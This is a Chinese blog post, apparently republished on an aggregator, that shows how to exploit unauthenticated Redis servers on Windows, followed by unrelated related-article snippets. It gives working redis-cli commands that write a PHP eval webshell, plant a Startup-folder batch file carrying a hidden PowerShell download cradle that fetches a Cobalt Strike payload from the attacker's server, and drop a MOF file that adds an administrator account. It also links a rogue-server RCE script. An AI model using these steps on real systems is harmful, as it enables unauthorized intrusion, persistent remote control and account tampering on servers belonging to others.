debian 访问 windows 共享_【续】windows环境redis未授权利用方式梳理

01

Redis未授权产生原因

07ee27b5a670f37223e91331a49383d1.png

1.redis绑定在0.0.0.0:6379默认端口,直接暴露在公网,无防火墙进行来源信任防护。

2.没有设置密码认证,可以免密远程登录redis服务

02

漏洞危害

07ee27b5a670f37223e91331a49383d1.png

1.信息泄露,攻击者可以恶意执行flushall清空数据

2.可以通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

3.若以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

03

利用方式01-写入webshell

07ee27b5a670f37223e91331a49383d1.png

写入webshell

1.获取web绝对路径,直接写入webshell

redis-cli.exe -h redis-server] -p 6379redis redis-server> CONFIG SET dir c:/phpstudy/wwwOKredis redis-server> CONFIG SET dbfilename shell.phpOKredis redis-server> set x  “<?php  @eval($_POST['a']) ?>”OKredis redis-server> saveOK

直接访问shell.php即可

04

利用方式02-启动项写入

07ee27b5a670f37223e91331a49383d1.png

windows下的开机启动项的目录为

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

写入方式有很多,这里我们使用Cobalt Strike来进行演示

先启动CS服务端 ,命令如下:

root@kali:~/cobaltstrike4.1# ./teamserver csip 123456

9914efeeba57a9f287746573300ad4ef.png

在启动客户端,输入密码和地址

fd534b67685781a408724544aad07e89.png

添加一个Listener 监听器

25e3324ecf073e1ba1771af38b782596.png

选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener

a374cfaf0ff2d4b52bd4f8a465cf55a7.png

点击Launch之后生成如下代码

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))"

直接保存为1.bat即可

其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义

redis-cli.exe -h 目标ip -p 6379 redis 目标ip:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“ OK redis 目标ip:6379> CONFIG SET dbfilename 1.bat OK redis 目标ip:6379>set x "/r/n/r/npowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))"/r/n/r/n

83edf7580f9388c5ffa4348b97db7f7f.png

注意这里的双引号要转义,windwos路径的start menu中间一个空格

OK redis 192.168.1.101:6379> save OK

ab049ac5baf0cb378822ef3d81796988.png

查看服务器启动项,发现正常写入命令

16dd1b96f45698f6cc910388a9a08f01.png

重启目标机器,成功上线

46f5606dddaf0ab2ad74fffcd67ea6e0.png

e567817e6de933ad8f0175333466dcc1.png

30ba6fbca0b3c70a482499366fdfdddb.png

05

利用方式03-写入mof

07ee27b5a670f37223e91331a49383d1.png

如果由于不能重启机器也无法获取web目录,想到Mof提权,环境限制只能为win2003。

简单描述一下mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其实就是有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

也就是说在`c:/windows/system32/wbem/mof/`目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。

首先将如下代码保存为admin.txt文件:

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };

此处要执行的命令为添加名为admin的用户

8cd622bd45325d5f7b71b21b62f82c15.png

然后执行

(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt

切换到redis目录,运行如下命令

87af512c23087a97014a09a6fc531ed4.png

过一会就看到用户添加成功了。(本地测试一直未成功,写入mof文件夹成功,但是执行一直到bad文件夹里)

补充一个linux下的利用方式:

在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

利用脚本如下

https://github.com/LoRexxar/redis-rogue-server

实战在生产环境下用还是会有很多问题的

1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的

2. Ubuntu,Debian写计划任务反弹无用

3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来

4. 生产环境下用`KEY *` 这样的命令直接炸

43fd81ec8f4db9f08b97223d1a2c480d.png

白泽Sec

技术就应该被共享。

学习,我们一直走在路上。

白阁投稿邮箱:

ByLibrary@163.com

白阁漏洞库:

www.bylibrary.cn

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/397764.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML比较常用的标签

1.全局架构标签&#xff1a;<html><head><title>标题</title><meta charset"utf-8"></head><body>正文部分</body></html><!--注释部分-->2.body标签的属性bgcolor&#xff1a;背景色text:整个网页的颜…

sae项目服务器,基于SAE的游戏服务器: Server on SAE for RGSS Games 部署在SAE上的简易游戏服务器,为用 RMXP/VX/VA 开发的游戏提供网络服务...

本项目已经关闭服务端已经关闭并且不再重启&#xff0c;后续请访问 RGSOS on Gitlab基于SAE的游戏服务器重写服务端逻辑中……暂时无法正常提供服务功能数据库封装封装了 SAE 上的 Memcached&#xff0c;KVDB 和 Storage 到 SAE_IO 类&#xff0c;并引申到两个子类&#xff1a;…

1090 Highest Price in Supply Chain (25)

A supply chain is a network of retailers&#xff08;零售商&#xff09;, distributors&#xff08;经销商&#xff09;, and suppliers&#xff08;供应商&#xff09;-- everyone involved in moving a product from supplier to customer. Starting from one root suppli…

mysql 列数据显示转成行数据显示_Mysql的列修改成行并显示数据的简单实现

创建测试表&#xff1a;DROP TABLE IF EXISTS test;CREATE TABLE test (year int(11) DEFAULT NULL,month int(11) DEFAULT NULL,amount double DEFAULT NULL) ENGINEInnoDB DEFAULT CHARSETutf8;插入数据&#xff1a;INSERT INTO test VALUES (1991, 1, 1.1);INSERT INTO test…

Android两种常见错误(ANR和FC)解决办法

ANR(Activity Not Respone)(无响应)先介绍下Main线程&#xff08;也称为UI线程、主线程&#xff09;功能: 1.创建UI控件2.更新UI控件状态3.事件处理限制&#xff1a;Main线程不建议有超过5秒的事件出现条件&#xff1a;当用户输入事件5s内没有得到响应&#xff0c;将弹出ANR对话…

mysql命令(command)

连接mysql命令: mysql -h 192.168.1.1 -P 3306 -uuserName -pPassword 显示表的索引: SHOW INDDEX FROM table_name 查看mysql的超时时间&#xff1a;SHOW GLOBAL VARIABLES LIKE %timeout% 备份表结构和表数据&#xff1a;mysqldump -u用户名 -p 库名 表1 表2 > xxx.sql只…

微信5.0登录提示服务器繁忙,iOS集成友盟社会化分享微信无法登录?

iOS集成友盟社会化分享SDK-5.0点击微信登录的时候出现无法获取accessToken的现象&#xff0c;其他如QQ、微博都可以正常登录使用。另外QQ、微博和微信分享都可以正常使用。望各位早日帮我解决或者分析一下。谢谢//微信登录之后的回调- (BOOL)application:(UIApplication *)appl…

sql获取某列出现频次最多的值_业务硬核SQL集锦

戳上方蓝字关注我 这两年学会了跑sql&#xff0c;当时有很多同学帮助我精进了这个技能&#xff0c;现在也写成一个小教程&#xff0c;反馈给大家。适用对象&#xff1a;工作中能接触到sql查询平台的业务同学(例如有数据查询权限的产品与运营同学)适用场景&#xff1a;查询hive&…

void ,NULL与0的区别联系

void ,NULL及0的区别联系 void的详解: void的字面意思是“无类型”或“空类型”&#xff0c;void*则为“无针型指针”&#xff0c;那就意味着void*可以指向任何类型的数据。 众所周知&#xff0c;如果指针p1和p2的类型相同&#xff0c;那么我们可以直接在p1和p2间互相赋值&…

python 2 days

1&#xff0c;格式化输出&#xff0c;%s %d 2&#xff0c;复习昨日讲题 编译型&#xff1a; 将代码一次性全部编译成二进制&#xff0c;然后运行。 优点&#xff1a;执行效率高。 缺点&#xff1a;开发效率低&#xff0c;不能跨平台。 C解释型&#xff1a; 代码…

nginx编译安装与配置使用

第一部分----nginx基本应用源码编译安装nginx1、安装pcre软件包&#xff08;使nginx支持http rewrite模块&#xff09;yum install -y pcre yum install -y pcre-devel2、安装openssl-devel&#xff08;使nginx支持ssl&#xff09;yum install -y openssl-devel3、创建用户ngin…

ubuntu+查看服务器文件夹权限,Ubuntu - 文件夹权限查看与修改

Ubuntu 文件的归属身份有四种&#xff1a;u - 拥有文件的用户(所有者)g - 所有者所在的组群o - 其他人(不是所有者或所有者的组群)a - 每个人或全部(u, g, o)1. 查看文件/文件夹权限ls -l filename # 查看文件权限ls -ld folder # 查看文件夹权限输出结果如&#xff1a;drwxrwx…

mysql dump 1449_跨版本mysqldump恢复报错Errno1449

已经有一套主从mysql,新增两个slave主库Server version: 5.6.22-log MySQL Community Server (GPL)旧从库Server version: 5.6.28-log MySQL Community Server (GPL)新增SLAVE 1&#xff1a; Server version: 5.6.22-log MySQL Community Server (GPL)新增SLAVE 2&#xff1a; …

修复 Xcode 错误 “The identity used to sign the executable is no longer valid”

如图&#xff1a; 解决方法来自&#xff1a;http://stackoverflow.com/questions/7088441/the-identity-used-to-sign-the-executable-is-no-longer-valid/14275197 Restarting Xcode didnt work for me. What fixed it for me was going to Accounts in Xcode (in preferences…

centos设置ip

这里是centos7.vmware安装centos后需要设置ip 1.首先查看虚拟机的网络适配器信息 2.根据信息修改配置文件 vi /etc/sysconfig/network-scripts/ifcfg-ens33 图为修改后的,最初的配置为 BOOTPROTOdhcp ONBOOTno IPADDR,GATEWAY,NETMASK没有进行配置需要根据网络适配器配置手动维…

微信支付+服务器+php代码,php 微信支付企业付款(示例代码)

/*** 格式化参数格式化成url参数*/public function ToUrl($arr){$buff "";foreach ($arr as $k > $v){if($k ! "sign" && $v ! "" && !is_array($v)){$buff . $k . "" . $v . "&";}}$buff trim($b…

Spark踩坑记——数据库(Hbase+Mysql)转

转自&#xff1a;http://www.cnblogs.com/xlturing/p/spark.html 前言 在使用Spark Streaming的过程中对于计算产生结果的进行持久化时&#xff0c;我们往往需要操作数据库&#xff0c;去统计或者改变一些值。最近一个实时消费者处理任务&#xff0c;在使用spark streaming进行…

解决Failed to connect session for conifg 故障

服务器升级openssh之后jenkins构建报错了&#xff0c;报错信息如下&#xff1a; Failed to connet or change directory jenkins.plugins.publish_over.BapPublisherException:Failed to connect session for config.....Message [Algorithm negotiation fail] 升级前ssh版本&a…

78oa mysql_78oa系统版本升级方法

可升级版本预览升级方法&#xff1a;1、备份数据库、附件目录、二次开发程序打开开始菜单——控制面板——管理工具——服务&#xff0c;右键点击停止 78oa mysql service 服务&#xff0c;完整复制【D:\78OA\server\modules\storage\data\78oa】(数据库)文件夹至备份区域。完整…

Excel导出显示服务器意外,C# 调用Excel 出现服务器出现意外状况. (异常来自 HRESULT:0x80010105 (RPC_E_SERVERFAULT)...

C# 调用Excel 出现服务器出现意外状况. (异常来自 HRESULT:0x80010105 (RPC_E_SERVERFAULT)htmlprivate Microsoft.Office.Interop.Excel.Application xApp;private Microsoft.Office.Interop.Excel.Workbook xBook;服务器//变量xApp new Microsoft.Office.Interop.Excel.Appl…